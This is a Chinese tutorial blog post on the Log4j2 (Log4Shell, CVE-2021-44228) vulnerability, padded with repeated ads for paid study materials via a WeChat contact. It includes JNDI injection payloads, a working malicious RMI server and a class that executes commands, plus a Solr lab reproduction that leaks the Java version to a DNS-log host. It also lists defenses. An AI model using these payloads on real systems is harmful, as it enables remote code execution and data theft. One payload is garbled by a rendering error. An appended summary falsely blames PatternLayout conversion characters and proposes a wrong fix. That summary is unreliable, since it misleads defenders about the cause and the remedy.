Log4J2漏洞(CVE-2021-44228)原理_log4j2漏洞原理,国内一线互联网公司面试题汇总

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

但是JNDI是可以调用lookup方法的,然后利用该方法可以让Java程序和黑客的服务器进行交互,从而造成远程代码执行漏洞。

例如我们demo中的username改成  **${jndi:rmi://192.168.174.1/Evil} ,**这时候就会通过rmi下载192.167.174.1服务器上的Evil资源,并且在此时会执行该类的相关代码。

下面是模拟rmi服务器的代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        //启动rmi服务 端口为1099
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();
        //创建资源为本机目录的EvilObj类,其中null代表本机目录,也可以指定服务器,如127.0.0.1:80绑定为本机nginx下资源
        Reference reference = new Reference("com.fdx.rmi.EvilObj", "com.fdx.rmi.EvilObj", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        //绑定资源
        registry.bind("Evil",referenceWrapper);
        System.out.println("初始化成功");

    }
}

Evil绑定的恶意类代码如下:


public class EvilObj {
    static {
        System.out.println("已被攻击");
    }
}

看到这里的黑客服务器上的恶意类会执行输出“已被攻击”的语句,我们运行黑客rmi服务器看一下效果。

然后运行Java程序,向黑客rmi服务器请求资源。

可以看到在Java程序端输出了已被攻击,这就证明了黑客构建的恶意类在远程Java程序下运行。此时我们修改恶意类代码如下:

import java.io.IOException;

public class EvilObj {
    static {
       try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

再次重新运行,得到如下结果:

计算机弹出,任意代码执行漏洞验证成功。

我在网上找了一张图,很好的描述了漏洞的触发过程:

 远程下载服务器我们在rmi服务器代码中

Reference reference = new Reference(“com.fdx.rmi.EvilObj”, “com.fdx.rmi.EvilObj”, null);

指定了文件下载服务器为本机目录下。

三、靶场漏洞复现

这里用的是vulhub靶场环境,靶场环境在这里不再赘述。打开之后我们得到如下

我们发现这是apache sole的页面,它在记录日志的时候用到了log4j2的依赖从而造成漏洞。

经过查阅资料以及观察,发现在http://192.168.174.128:8983/solr/admin/cores?action=

有一个参数传入点,此时我们在DNSLog Platform获取一个子域名(vy6v8g.dnslog.cn),

然后http://192.168.174.128:8983/solr/admin/cores?action=${jndi:ldap://test.yteq4s.dnslog.cn}

发现在dnslog上面有回显,

然后我们访问http://192.168.174.128:8983/solr/admin/cores?action=KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.yteq4s.dnslog.cn}

得到

出现了我们的Java版本号,证明存在log4j2漏洞,可以进一步利用。

四、总结

如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

5.在高版本的jdk下也不会出现漏洞。

如何排查是否受到了攻击?

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。

漏洞原理的源码我放在了GitHub上,需要的可以自取:fengdianxiong/log4j2_demo (github.com)")

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

究,那么很难做到真正的技术提升。**

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-uGJd6hlI-1713376914223)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 23
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发现了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值